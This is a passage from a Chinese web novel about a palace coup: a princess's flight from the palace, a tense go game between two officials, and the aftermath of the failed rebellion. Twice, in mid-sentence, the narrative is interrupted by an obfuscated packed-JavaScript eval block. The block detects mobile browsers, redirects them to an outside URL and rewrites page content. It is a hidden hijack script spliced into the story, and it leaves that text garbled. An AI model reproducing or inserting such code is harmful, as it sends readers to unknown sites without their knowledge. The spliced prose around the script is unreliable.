她一点也不耽搁,发了疯似的在昏黑的夜中循着记忆奔向直通东宫梅园的小道。 两个宫女似是不在乎有人出逃,只对着沈明枳和郇寰频下死手,冬至也觉察了她们的目的,卖了一个闪失,假意败逃,在宫女急急欲取郇寰夫妇性命时从旁出手,夺了匕首也不留考虑活口,草草了结。 沈明枳在被郇寰拉着前奔时,一个踉跄摔倒在地。但她不敢叫疼,高度紧张的神经也让她觉不出疼痛,只在郇寰回头关切前重新爬起来加紧脚步。 郇寰不认路,但他在匆忙中记下了月珰消失的方向,突然感觉攥着沈明枳的手一沉,在回头前就听见沈明枳朝着前方掩在花木中的入口大喊:“是那里!” 东宫就在眼前。 可当三个人发现小路尽头一片漆黑,全然没有把守值夜的长缨卫、也没有月珰时,沈明枳燃着的血骤然凉透。 她想起来了! 长缨卫会在戌时换岗! 但换岗也不当此路空空! 三人立时停下脚步。 从梅林进入东宫,再自东宫进入东太平门甬道,随后就可以从最近的通化门出外城。夏半年外城不落钥,但由于南诏使节居于外皇城的鸿胪寺,故而自今夜起外城禁严封锁,除有重要事情可以出城,但还需司部文书落官印才可通行。 汗自发间滑落脸颊,夜风吹拂下凉意顿生,梅如故的话再度回响,沈明枳不由得寒颤。 他们不知道指派宫女前来刺杀的人会不会在久久不得音信后再度出手,而前方死寂的东宫让他们莫辨生死。他们尚不知千秋阁中是否也发生了什么,也来不及思考是谁做局,只在此艰难的当口,沈明枳还是决定要进入东宫。毕竟,羽林卫毫无音讯,除了常驻东宫的长缨卫或可一试,他们叫天天不应、叫地地不灵。 梅如故说事有变故就找柳曦既,但是入宫前柳曦既就下衙出宫! 沈明枳一阵恶寒,心道要遭。 冬至小声问道:“这是怎么回事?怎么没有长缨卫?” 郇寰尚在尽力捋清头绪,拉着沈明枳不叫她跑散,没有回答冬至,只是迈开步子走入黑夜之中的梅林。此时的梅林普通如一般的树林,还因着东宫的荒芜败落多添了几分死寂诡异,有些荒山野岭的调子。 忽而沈明枳低低地叫了一声,郇寰一收手将人拉到怀里,探头往模糊阴暗的那处看去,竟然是横七竖八倒着的长缨卫。 冬至迅疾上前查探鼻息,清点数目,在确定都是尸体后回禀:“共十五人。” 沈明枳在恐惧中忽而感到几分庆幸,“把守此路的长缨卫一岗十五人。” 这就意味着并非整个长缨卫都沦陷水火,长缨卫也未必与暗中操纵者串通一气。但前来换岗的十五个“长缨卫”却不见踪迹,显然这十五人极有可能是这暗夜小道上的叛变之徒。 他们穿枝踏叶按照沈明枳的指示走了没一会儿,蓦地听得不远处有兵刃相击之声,且那声音还在往梅林中移去,随后就是重甲整齐开入丛林的翻腾和一熟悉的男声怒吼:“别让他跑了!” 三人往声源赶去,就见冬至羽箭离弦地冲入了混斗,郇寰护着沈明枳隐入树影的阴翳。 得见局事,沈明枳和郇寰都有些不敢想象自己的眼睛。 被围困住的那人似从血海中浮出来的,豺狼之目也血染通红,被突然破坏局面平衡的冬至打得措手不及,常年面具似的阴沉稳重的脸上露出了一丝裂痕,随后在电光石火之间被人卸剑羁押。 凌云重认识冬至,肖执真也认识这个长随,他们齐齐侧过脸望向黑暗中面容并不清晰的郇寰夫妇。只不过,他们都很狼狈,锦麟卫副使正押着锦麟卫指挥使交给随后赶来的长缨卫。 凌云重越过几乎蜷在地上的肖执真,疾步上前,人未至而声先至:“圣驾何如!” 见两人吃惊怔愣的表情,心下有了猜测,换了问题:“圣驾何处!” 郇寰答:“千秋阁。” 话落,凌云重垂眼直望向郇寰怀中的沈明枳,行完一个利落简单的君礼后,提剑就跃入梅园,一波整肃的长缨卫紧随其后。 指挥使江聿洲忙解释:“魏王、燕王意欲谋反!” 沈明枳还没从凌云重那意味深长的一眼中和那莫名其妙的一礼中揣摩出深意,就因江聿洲的话震在原地,被强行稳住心神、装得冷静的郇寰抱得更紧。 她移过目光看向被刨腹取心般的孤狼肖执真,一个极其惊悚的念头滑入脑海,而凌云重的那一眼全然变成了易水诀别,那一礼全然变成了生死为君。 郇寰略有颤抖的嗓音从头顶传来,沈明枳木木地听着他的质问:“锦麟卫谋反?” 江聿洲击昏肖执真后回道:“好在凌副使刚正不阿,发现端倪立即前来救驾!” “羽林卫呢?阴阳卫?其他亲军卫呢?” 江聿洲亲自将肖执真捆绑起来,让下属押解下去严加看管,“目前只知羽林卫、锦麟卫与逆贼串通。” 可只要这两者参与,就够了。内城会在羽林卫和锦麟卫的死守之下密不透风,千秋阁内也将无人生还;而譬如阴阳卫、虎贲卫的,除非在内宫当值,其余时间里,大部队都留在皇城兵马司或者两都兵马司。就目前情况来看,今夜内宫当值的就是锦麟卫,羽林卫常侍宫中,还会和其他军卫参与外城的拱卫—— 郇寰和沈明枳俱是一惊,忙齐问道:“江指挥使,今夜外城守备部署如何?” 话落,有人飞驰来报:“通化门系羽林卫值守!” “正阳门系羽林卫值守!” “重玄门系羽林卫值守!” 离东宫最近的三个城门都被羽林卫控制,江聿洲方才还扬着欣慰的脸色一刹那沉了下来,急欲问最后一扇东长安门的结果。 沈明枳看见郇寰沾着血的手背腾起青筋。 皇城正东侧三扇城门,自北向南依次是通化、正阳和东长安;六部官员除了刑部,出入外城常走临近的东长安门,三法司则走正南侧的启明门。这两扇门离东宫都很远了,或可期望羽林卫兵力有限没法全都掌控,但正因太远,路上耗时过多,再加上出了外城还要去皇城兵马司搬救兵,一来一回,宫里早就天翻地覆尽数落入魏、燕两王囊中。 沈明枳轻轻拉开郇寰温热的手,深吸一口气,强迫自己冷静思考。 江聿洲早已派人向其他军卫留守外城衙署的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642459|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马传信,但久久没有回音,想来西直门外的军卫衙署也已被锦麟卫控制;而唯一有点人、有点家伙的兵部却求不得,因着今夜兵部当值的正是侍郎韦不决,长缨卫前去探查东长安门的人不被他扣下就已经是菩萨保佑;东宫已经空了,长缨卫几乎都让凌云重带去救驾,仅剩的兵力也只能勉强拱卫逃出生天的自己与郇寰的安全;而江聿洲他自己留在这,是要处理肖执真和负责与城外联络。 联络,联络! 沈明枳眼前一亮,在郇寰剑芒似的注视下有失分寸地一把抓住江聿洲的护腕,“备马,要快!” 江聿洲一面命人准备,一面劝问:“殿下要做什么?” 入宫前,沈明枳在东直门甬道上遇见了介含清和楼宥谦,闲聊之中听了一耳朵,说是礼部宁主事几乎是住在了宫里,家里派人来请了好多次都不愿回。 “宁晨铎在礼部值夜,或可一试。” 说完这句话,沈明枳才觉自己的良心早死了。 宁家自从和华家结亲,就算是魏王一系。宁家多次要让宁晨铎出宫,或许是已经得知了宫变的谋算,不欲天真无知的宁晨铎牵扯其中。 沈明枳自认为与宁晨铎算是交情匪浅,即使她拿不准“羊左”之琴于家族血缘面前分量几何,即便是要她拿着从小到大同窗读书的交情去骗他,即便千秋阁中已经血流成河。 此非君子所为。 可她必须要这么做。 魏王和燕王宫变夺权,终非正统,哪怕他们已经用刀刃逼着圣上写下了传位诏书,哪怕皇家血脉悉数断绝,哪怕她是一介女流更兼天上地下求告无门,她也要拼这一把。 决心走这条路的时候,她就已经不配论道求志做正人君子。 况且,韦不决见到她,或许不会拦。 沈明枳已坚定了决心,但郇寰似是不愿放手。 他眼里的情绪与情愫,已经分不清是嫉妒、是担忧、是震惊、还是恐惧,杂糅在一起,如同赤橙黄绿搅和入了同一缸水里。再复杂得如一团乱麻的局势,总能在一刀斩下时割出些许头绪,可沈明枳望着他的眼睛,一时间竟不知如何破解。 优柔寡断绝非她的风格。 沈明枳避开郇寰的眼神,转身往东太平门甬道上走去,就在郇寰逐渐黯淡下去的注视里,不知搭错了哪根神经,她扯下头上那支蝶花钗塞入他的手中,低哑地说了一句“都不会有事的”,随后就奔向了幽深甬道上立着的那匹不安躁动着的黑马。 东太平门甬道畅通无阻,直至东直门广场,一路上没有半点人影。 韦不决确实没有拦,因为沈明枳根本没有在路上见到兵部的人马或者巡逻的羽林卫! 这很诡异。 她一路纵马穿过阔大的东直门广场,直逼礼部大门方才勒停,门中走出来值夜的官员不认得她,只见她满身的衣衫沾着骇人的血迹,被朦朦胧胧的灯光一照,配上她脸上的凝重与迫切,乍一看就像从地下爬出来的女鬼。 那名年轻的官员一个不稳摔坐在了台阶上,大声乱叫起来:“啊啊啊!有鬼啊!鬼啊!” 沈明枳下马,几步跨上台阶,匆忙揪住那人询问:“宁晨铎在何处!” “宁宁宁宁宁大人他……” 沈明枳一咬牙,撇下那个还没回过神的人径直闯入了礼部大门,在看门者上前阻拦前,和一个闻讯赶来的年轻人撞了个满怀。 “鹇儿?!”宁晨铎挽住她的双臂,又惊又喜地失声低叫道,随即,在他看清沈明枳形容前自觉失礼,改唤了一声“兖国公主”。 沈明枳反握住他缩回去的手腕直白问道:“宁七!你能出宫吗?” 她的手分明有点凉,可宁晨铎就是觉得被她握住的地方顿时蹿起了一股火,四肢百骸地游走起来,最后都快将他的神智焚尽了,慌忙避开她的目光,反射似的愣愣点头。 沈明枳胸膛里安放的那颗心,跳得几近破裂,她终于抑制不住自己颤抖的声音问道:“能带我出宫吗?” 78. 第七十八章 执黑者 宁晨铎听出了哽咽,在一瞬间看清楚了她衣服上斑斑血迹,千言万语都在和她四目对视的刹那间化为一个哽在喉咙的“好”字。 他永远也拒绝不了她。 沈明枳终于勉强地扯出一丝笑容。 宁晨铎舍不得让她放手,又忧虑她的状况,有些结巴:“我我要准……准备……” 沈明枳即刻松手,连连点头,软着腿脚跟着宁晨铎跑到了他的值房,并不拒绝宁晨铎递来的一套长衫,遮住了身上骇人的血迹后,就见宁晨铎执笔的手也在打颤,写下“家中急事”这样瞎编的通关理由后,将收好的官印与私章胡乱地都盖了上去。 他向沈明枳回以一个赧然的微笑。他连桌上的灯也来不及灭,跟着沈明枳越来越快的步伐、在几个睡眼惺忪的同僚或好奇或惊惧的目光下出了礼部。 一匹黑马正不安地在门前打转,宁晨铎心里的疑虑再度席卷,可那只能出现在梦中的人影就在眼前、无比真切,他还是平抑了心绪,温声道:“长安门广场不能骑马,我们只能步行。” 沈明枳说不出话,只能点头。 宁晨铎知道她心煎,顺手隔着袖子拉住她的手腕就要往东长安门的方向走去,手伸到半空才察觉到自己的失礼僭越,谁知沈明枳竟然反扣上他的手,拉着他往反方向疾步而去:“去启明门!” 启明门虽然比东长安门更远,但是她熟,自启明门出宫的路线她都能背下来;且,打探东长安门消息的长缨卫没有回复;再有,启明门靠近三法司,前朝三法司的衙署不设在皇城之内,就是因为三法司彻夜不休,相关人员的进出比五部更加频繁,如若羽林卫控制了启明门严格限制出入,极有可能引起骚乱甚至事情败露。 为了防止撞上兵部的韦不决,沈明枳不惜绕上东直门甬道。 甬道寂静,在冰凉的月光下,前路一览无余。 他们都是大道直行的人,此刻却在墙下阴影里跑跑停停。 许是太过着急,沈明枳在短暂的迟疑过后,任由宁晨铎牵住自己的手,拉着自己在不可骑马亦不可疾行的东直门甬道上奔跑。 宁晨铎略微沉下的心又被沈明枳的手提起、被压抑尘封的往事撩拨、被架在火上烤、被浸入水底淹。他不发问,牵着她也任由她牵着,跑过微凉的夜道,迎接过路者的审视,如同多少次梦中才能想过的这般,与之并肩。 甬道的尽头仿佛不是启明门,而是启明之下他与她崭新的将来。 在临近城门前,沈明枳抽回了手,放缓步子调整起呼吸。 他们手中还留着彼此的温度,而沈明枳的眼中一丝温度也无。 启明门的确不在羽林卫的控制下,而是府军卫。 然则眼前形势严峻,即使有魏王派的宁晨铎掩护,接到锦麟卫禁令、驳了好几个御史的出宫要求后的府军卫也不愿让她这个形容狼狈的公主出城。 但他们的运气真是极好。 赵王在十二卫里也安插了人手,常年看守启明门的府军卫里就有不少,而今夜,赵王的暗桩就让他们遇见了。那名循声而来的队长只是再三确认了沈明枳的身份,随后将手下的异议置若罔闻,用“天家威严”等荒谬的理由怒斥了手下人一句,朝沈明枳微一颔首,下令放行。 宁晨铎也逐渐看出了门道。 然后他这段如梦似幻的经历,彻底到了头—— 沈明枳召来了留在城外的暗卫,击昏了一头雾水的宁晨铎。 皇城外,夜景如故喧嚣热闹。 沈明枳的衣裳汗湿,手上属于宁晨铎的温度也逐渐消散,她的心鼓却擂得越来越响,几乎要盖过她心里的尖叫、盖过城外的人响马嘶。 一定来得及。 她是个说话算话的人,她说不会有事,就绝对不会有事的! “殿下!” 守在城墙凹里的首领季岸领来了一个男人。 “臣阴阳卫指挥使窦宇,参见兖国公——主。”窦宇僵硬地躬身行礼时,瞥见长衫之下染血的裙角,顿时直起身,在沈明枳说出“魏王燕王谋反”前,一挥手,即令蛰伏四周的阴阳卫,强行入宫。 在有备而来的阴阳卫面前,府军卫不堪一击。 沈明枳回身看着启明门前的骚乱,不由得懵在原地。 这比宫中不见韦不决身影更加诡异。 混乱中,季岸命护卫牵来了马车,恭请还回不过神的沈明枳上车。 门户洞开,随滚滚夜风长驱直入的是披坚执锐的一批人马,尘土飞扬,排山倒海,延兴门外皇城兵马司的全部人手似都天兵神降,一眨眼就出现在了皇城脚下。 阴阳卫在也就罢了,掺和其中的竟还有专司西北的虎贲卫。 沈明枳刚要归位的一颗心又悬在了半空。 一个悚然的念头再度浮现。 如果失败了—— 如果失败了!这无异于“造反”! 而自此之后,天下又要被血洗一遍! 沈明枳飘在启明门上方的目光重新落在了昏死过去、被抬上马车的宁晨铎身上。 如果失败了,宁晨铎也会死。 这条黄泉路他本不必早走。 沈明枳打了一个喷嚏。 她在心里终于开始骂起了梅如故。 旋即,她又下了决心:“你们送他回宁府,本宫要留下。” 季岸略微沉吟后,将劝公主回府避祸的话咽回去,安排公主府的护卫驾车,自己和一众暗卫护守左右,陪着沈明枳坐在路边一茶摊上,慢慢等着生死结局。 没人敢惊扰她吹晚风,尤其是看见她长衫下的血衣。 如果败了,这就是她的寿衣。 “如果败了,这就是某的死期。” 韦不决坚决地落下一粒白子,抬起头,看向对坐的柳曦既。 柳曦既不动,手中捻着一粒黑子,似是一头扎入了棋局没听见韦不决的话。 半晌,在屋外传来错杂忙乱的脚步和御史们的喧嚣之时,他将这粒黑子点入了白子的死穴。他收手时云淡风轻,落子无悔,棋必致命,无形中永远写满了把握与信心。 韦不决只扫了棋局一眼,就知无路可走,推了面前的棋奁,袖手低声道:“我输了。” 他们在下棋,可氛围古怪,似又不仅仅在下棋,勾连起韦不决先前说的那句话,更是意在言外的最好印证。 柳曦既如何听不出,可他拙劣地充愣,慢条斯理地收拾棋子,“你的棋技在我之上,只是用心不专。” 韦不决扯了下嘴角,回道:“你只是不愿多花心思罢了。” 柳曦既的手一顿,不谦虚也不否认,只嘲讽道:“就像陶瓷之于梅如故一样?” 韦不决冷下脸,但他在柳曦既面前向来都是这副神态,冷与不冷,其实只有他自己心里知晓。 片刻,他终于捱不住心中的恶寒,苦笑:“你已经知道了。” 柳曦既指节分明的手盖上黑子的棋奁,将这罐黑子移到韦不决的面前,自己端来了白子奁。 “那你为何去而复返,要留在宫中赴死?” 柳曦既只垂眼,将袖子折好,等韦不决执黑开局,不答问话。 今夜是大日子,韦不决特意打听过柳曦既的行踪。他不常回家,但不代表他不回家,在得到柳曦既出宫消息时,韦不决着实松了一口气,但当他终于坚定心志打算走上这条不死不休的险路后,却又在宫门下钥前的那一刻得到柳曦既再度回宫的消息。 这不啻于一个惊雷在他头顶炸响。 韦不决拈了颗黑子,无奈地自问自答:“因为公主也在宫里。” 屋外的吵嚷声更大了,有人敲了敲门,也不管柳曦既允或不允,抑或者是早就商量好了,直接在门外喊道:“大人!鸿胪寺走水了!” 南诏国的使臣就住在鸿胪寺,就算是紫微宫、承天殿着火了,那严防死守得一只苍蝇也飞不进去的鸿胪寺也绝对不会在这样关键的节骨眼上着火。 韦不决伸长脖子听了,登时了然。 夸大些说,他与柳曦既也有数不尽是几年还是十几年的交情,凭着他对那个时候尚且年轻得有些直愣的柳晢的了解,对已经浸淫官场多年、八表经营而岿然不动的柳曦既的了解,这把火确有可能是他放的。 可这样,比直接杀了他、剐了他,更让他痛不欲生。 韦不决凄然问他:“何必呢?” 他最不忍的,就是昔日战友,今日仇敌。 这条路是死路、绝路、黄泉路,若不能一走到底,他这个魏王叛将面临的将是比“死”更加恐怖的结局。且柳曦既应该还不知道,魏王究竟布下了怎样连自己都窥不透的天罗地网,开弓没有回头箭,何况此时应当是情况大好,他更是连搭箭上弦的犹豫也要不得,柳曦既的这把火,大抵也改不了早已定下的结局。 柳曦既不答。 可他的沉默就像一头匍匐在生路上的巨兽,那几不可闻的鼾声让每个借路人都心惊肉跳,更何况那巨兽懒懒地翻了一个身,谁也不知下一瞬,他要睁开眼睛还是再度睡去。 这就是凌迟。 韦不决熬得了刮骨疗毒、受得了雷霆万钧,独独捱不住这样的凌迟。他有些暴躁地扔了棋子,棋子脱手,似是将他的暴躁裹挟着带入了棋奁,韦不决沉默片刻道:“对不起。” 柳曦既也将棋子放回了棋奁,“你不必说。” 韦不决苦笑道:“是,我已没资格说。” 柳曦既却是摇头,“韦不决,你看看你拿的是什么棋。” 韦不决稍愣,低头看向手边满满的黑子,似是看见了一碗从尸首上舀出来的虫,打内心生出的对“死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14666965|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亡”的厌恶与恐惧催使他挪开了手。 可这只是黑色棋子,哪里有什么虫子。 明白过来后,韦不决徒觉自己的骨头早已被人抽去,而这些年的自己只是一幅用线串起的皮影。 是黑子。 在他自己的这副棋上,执黑的人一直都是他自己。 他从来就没有这么多身不由己。 那天午后,接到家里来信决定回家侍疾的人是他,明知母亲奉来的茶中有异还一饮而尽的人是他,在大错铸就后将错就错收拾善后的人还是他。 一切都是他自己的主意,哪有这么多的胁迫与情非得已。 他眼睁睁看着太子日渐消瘦,转头就将毫不知情的窦宙拖下水,请他帮自己搜捕逃之夭夭的证人,将这盆污水泼到生死与共的人身上。 他平白害人性命,多年之后还自宽非我有意。 韦不决笑问:“这么多年了,你和梅如故一样都在查吗?” 柳曦既摇头,随后他的目光从棋盘上移到韦不决的脸上,常年枯冻的眼中多出几分说不出的情思,韦不决不知道这叫什么,但他只觉得自己的心早已被自己践碎成了粉末,而柳曦既却要从尘土中将他们抔起。 他听柳曦既声音平平,如他惯常审问嫌犯或交代公务时一样,问出这么多年来沉默寡言的柳晢萦绕心头的第一个问题,虽然他已经从蛛丝马迹中猜到了答案,“当年那杯子你收走了没有?” 韦不决见明灭不定的火光下,柳曦既苍白的脸多了几分病气,他的病气是连日劳累后的结果,而逐渐浮现眼前、慢慢与眼前人容貌吻合、再穿脱其容的那个人的病气,是心灰意冷后的绝望。他发现自己遮在袖中的手不自主地颤抖,那握过长戟、割过敌首的手,此刻竟如同深陷病疫的枯骨。 柳曦既观他反应就已经知道了答案。 韦不决必然是让人收回那只沾病源的赝品,不然一套茶具四只杯子数目根本对不上。但是梅如故出京前告诉他,陪葬的应当是三只杯子,有一只杯子在他手上。那么必然是韦不决派出的人出了差池,导致那只赝品被当做真品入了地底封了棺。 梅如故这么多年都不放弃,都是以为这一套四只杯子是太子留下来最后的线索,是要他查明真凶,为牵连赴死之人昭雪,将盛世下的毒疮捅破。 但是,昨日他亲自与礼部交接,遇着专掌文库的太监,发现竟是东宫故人。他头一回在工作时候与闲人叙旧,言谈之中不意听得当年拟定陪葬时发生的一件小事,却是太子最喜爱的一套杯子丢了一只,报与帝后,觉得奇数不吉,便打算将这套杯子留下作为念想。正此时太子妃拿出一只杯子,说是不知多久前太子落在她处,于是凑齐整了四只一套按太子生前的意愿随了葬。 柳曦既不知道梅如故是否质问过太子妃杯子从何而来,太子妃是否将他们夫妇之间的秘密尽数告知,但就从太子临终留给他的遗言中可推得,韦不决的人必然失手,太子也必然知情,但他将赝品交于太子妃保管,是为了不多生事端,就如他留下的话一样,“勿念”,生人勿念死人之事;太子妃也必然不知情,只出于不忍最后将杯子拿了出来。 柳曦既抬眼,不避讳直视韦不决的双眸,犹豫了片刻,他开口道:“其实本来陪葬的是三只杯子,他将赝品交给太子妃保管,独向黄泉,不意有变。” 韦不决觉得,缝补他一身皮囊的线,断了。 他以为是没收得走的杯子露了馅,谁知,他知道是谁下的手,他还为自己处理赃物。 他独向黄泉。 门外吵嚷声不减反增:“大人!守卫不许出宫!鸿胪寺的火怎么办!” 柳曦既放下自己折起的袖子,从椅子上起身,扬声朝门外吩咐道:“去兵部。” 韦不决用手遮住灯光下如同被燎疼了的半边脸。他现在明白柳曦既的那个眼神是什么意思了,不禁低声嗤笑问:“何必呢。” 让人到鸿胪寺放把火,再让自己去救火。 这叫悲悯,这叫不忍。 他有生之年竟然能在柳曦既身上看见这几个可笑可悲的字眼。 他何必脏了自己的手来救一个不值得的人。 韦不觉再问,只想求一个解脱:“何必?” 柳曦既背对着他朝着门外,仿佛能隔着大门,看见那熊熊火光正要将永夜帘幕烧开一个口子。 “去西南。” 韦不决抬起头。 “去西南。” 西南吗? 他明白了,柳曦既如何会有妇人之心,自己又何尝值得他大费周章。 他留他一命,是为了边疆。他放这把火,是为了善后。南诏的使节还在城内,他们不能让大楚丢了颜面。 这就是柳晢,这就是柳曦既。他从没变过,自十五岁时见他第一面起,始终如一。 79. 第七十九章 石上流 沈明枳就在那里坐了一夜。 五鼓的棒子声刚响,郇寰就从启明门中不显狼狈地走了出来。 一只灯笼在晨风中晃动,将他一身干涸的血迹映得忽明忽暗。是在发觉自己衣服上的血有多吓人后,沈明枳才知道强撑着的郇寰受了多少伤。 他提灯自黑洞洞的宫门而来,一瞬诧异自责欣喜若狂后,倦怠的神色中含起缱绻松快的笑意,“没事了。” 沈明枳没有多问,默然起身挽住他的小臂,但他却将沈明枳的手握在掌心。 “我们回家,圣上准了我三日假。” 沈明枳跟着他往伫立已久的马车而去,忽然郇寰的步伐一顿,沈明枳奇怪地抬起头,看见他的眉头蹙着凝视自己,墨沉沉的眼睛里映出扑棱棱的灯火色。随即,郇寰注意到沈明枳的目光,扯了下嘴角轻笑了一声,不曾多说。 车行了一会儿,沈明枳一声不吭地将身上的长衫拖下放在一边,侧过脸见头顶着厢壁瞌睡的郇寰正不安定地抽动眉头。她心中一叹,轻轻将他歪着的身子掰了过来,但郇寰还是立时惊醒,从昏暗动荡中的应激状态缓缓放松下来,见她将头歪在他的脖间,又用手将自己的头靠在她的发间。 郇寰从她背后展臂,伸手包住她半蜷在膝上的左手。 这脾气。 沈明枳心想。 郇寰看着她的眼睫翻飞,知道她精神还不错,便从怀里取出那支蝶花簪,边给她别头发边道:“肖执真与邹美人有私。” 这果然让沈明枳更加振奋。 她如何也想不出来,锦麟卫指挥使有何必要掺和这样抄家灭门的勾当?他的心腹副使凌云重又是如何发觉端倪?曾听临川说过这个“肖老贼”是个孤儿,无牵无挂,无亲无故,又是个心狠手辣的角色,旁人断然想不出他会否有什么把柄落到逆王手中。他如何获利?他有何动机? 沈明枳不知道该笑该叹。 这阿鼻地狱中的一晌贪欢。 肖执真在魏、燕两派的背水一战中为自己和邹美人留好了退路,在戌时长缨卫换岗时,事先安排的锦麟卫趁机接应他们自通化门出宫。戍守通化门的羽林卫事先得过消息,所以并不会为难他们。但事有突发,早早被他外派公干的凌云重却突然回来,他只能只身一人与之缠斗,希求能给邹美人出逃争取时间。 但郇寰道:“邹美人死了,被羽林卫一箭穿心。” 沈明枳默然。 “凌云重发现了羽林卫指挥使鲁向笛的儿子鲁纯学被押在诏狱,于是赶来救驾。” 是了,逆王以鲁向笛唯一的儿子逼羽林卫就范,鲁向笛如何能心无怨怼地放肖执真与邹美人远走高飞。他应是早下了死令要将这对鸳鸯留在通化门,谁料只来了一个邹美人,让被长缨卫抓住的肖执真多活上一时。 “凌云重通知了被支开的阴阳卫,而窦指挥使事先在圣上身边多增添了人手,救兵也早候在城外,就等宫里传出消息。”说着,郇寰轻轻捏了捏她的手。 这番合情合理的解释,沈明枳听完却觉得有哪里不对。 时间不对。 人也不对。 且不说窦宇会不会相信凌云重空口白牙一通骇人听闻的话,阴阳卫和虎贲卫自皇城兵马司赶到启明门,必不能是大张旗鼓,只能一批批暗中转移,这其中需要的时间岂会是她骑马从东宫赶到礼部就可以填补的;再有,圣上身边提前安排人手也必然是早于家宴开始,凌云重若有这样通天的本事提前支会阴阳卫,又如何不能让东宫中的长缨卫也预防未然,且南巡一路,窦宇和江聿洲的关系不错,出了这样的事情窦宇没有理由不提醒长缨卫。 “你在想什么?”郇寰凑在她耳边问。 沈明枳如实答:“感觉不对。” 郇寰无奈一笑:“结果总归算是好的,其余的就不必深究。” “但赵王会深究。” 郇寰默认。 “你们是怎么想的。” 郇寰被“你们”二字刺痛,沉默了好一会儿才道:“可能是圣上。” “必须是圣上。” 不然就是窦宇和凌云重相勾结。 郇寰应了一声。 沈明枳的右手覆上郇寰握着她的左手。 郇寰喉结滚动,低低说道:“晋王没事。” 沈明枳心下一紧,“谁出事了?” “燕王一家。” 宫变虽然是魏王和燕王一起策划的,但魏王根本没想过留这个弟弟一命,是故锦麟卫围了千秋阁后,头一个被乱刀砍死的就是燕王一家。阴阳卫只负责保护圣驾,离圣驾较远的吴王妃等人则难逃一劫。 魏王也是心切,人一到位,二话不说直接屠人,连中途离开的沈明枳、邕国公主等人也都派人前去清理。沈明枳和郇寰有冬至相护,邕国一家则幸运得多,杀手翻遍了偏殿也没找到他们,只能暂且放弃,而长英、元良小郡王还有梁国夫妇去的西宫太远,压根没有派人。 但魏王还是算漏了一个人。 长乐公主。 魏王还是很疼爱这个妹妹。刀子一亮,一头雾水的长乐就被吴王等挟制与魏王对峙,魏王的二子一女也被窦晴柔控制,但显然儿女没了可以再生,王妃没了可以再娶,妹妹没了就再也没有了。生母华妃一直对他们兄妹不冷不淡,他们得不到圣上的父爱也没有华妃的母爱,只有兄妹俩相依相伴,这种情分,沈明枳觉得甚至可以与她和戒子去南海道走一遭相提并论。 这也算是给援兵争取到了更多时间。 沈明枳想起长乐那比长宁还要骄纵几分的笑脸。 就这样长大了,拥有了再也回不去的从前。 如同我一样。 ** 沈明枳醒来的时候,夜尽蝉声叠唱。她还枕在郇寰怀中,安稳得不似尘世。 郇寰睡得很浅,此刻正悄悄地看着她心绪难平,一手轻轻摩挲她的肩膀,似是唱着遥远又亲切的歌谣。 沈明枳吐出一口热气,仿佛梦中种种魑魅鬼蜮都可随这息浊流消涣虚空。她一偏头,见郇寰也醒了,于是撑起身,将披下的头发拢到肩头,语气淡淡发干:“吵到你了。” 郇寰也坐起身,答道:“没有,我睡不着而已。” 这个借口很有依有据,即便沈明枳知道他是瞎说,但依旧愿意多信几分。 魏王永锢薜荔殿,华妃服毒自尽,痴傻的魏王世子被发现摔死井中,魏王派烟流云散,吴王沉浸丧妻之痛难以自拔,秦王废物,晋王年幼,满朝上下唯有赵王屹立,这正是祸兮福之所倚,要让赵王一派欣欣向荣的兆头。前几天南越将军何卓远携家眷入京述职,更主动前来示好。 树大招风,魏王让叫做梅如故的这股妖风吹得零星惨淡,郇寰担心随后起势的赵王有险,情理之中。 沈明枳将黏在身上的轻衣扯松,又靠着玉枕躺下,听郇寰闲话家常:“听安嬷嬷说你将库房里存着的那把石上流给郇旒了?” “先生说她有天赋,有会不小心叫她见了,她喜欢得紧,为了这把琴安分了许多日子。” 石上流是一把落霞式七弦琴,沈明枳记不得是何人送礼,她又不喜欢这些风雅的东西,只存在库房中吃灰。郇八娘截然相反,跳脱的性子一遇着琴音就和缓下来。沈明枳欣喜这位祖宗能安安分分,但又不欲让她轻易得逞,吊着她很多日子才让她如愿。 郇寰撑着脸侧卧,心里很心疼她这一番暴殄天物,无奈笑道:“也罢,不出几日,她新鲜劲一过去就好了。” 沈明枳感觉出他话中可惜,侧过脸问他:“莫非你看中那琴?怎不早说。” 郇寰躺平:“我哪有功夫摆弄这些,好东西到我这儿都是明珠暗投的命。” 沈明枳听出他话外弦音,想到了前几日听说,朱遗思谱过最后一曲《合浦珠还》便投环自尽,不过他没死成,被人救了下来,由此沈明枳又回想起了许多经年弥重的苦事,只缄口不语以应郇寰。 郇寰只以为她是累了,于是打住话头。 不过两个人各有心事,都没有睡好。 一宿不眠的沈明枳第二天顶着两只黑眼圈与郇寰一同晨起时,郇寰惊了一惊。见她倦色难掩地吩咐冬儿把妆化得浓一点,再穿了一身颜色淡雅的,入目一刹那觉得她整个人焕然一新,但定睛再一看,还是从蛛丝马迹中窥得疲倦,心道别人瓜田李下的眼神他不看也罢,就是怕沈明枳一不留神摔个跟头。 他犹豫良久,还是没有开口,匆匆吃了些就赶去上朝。 今日,新任南越将军赴任,沈明枳鲜见起这么早,就是要去送别。 下了朝就见一身朱 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何卓远笑道:“我道桀异不凡的是谁家的公子,原来是老郇家的二郎!只要你来,什么日子都使得!” 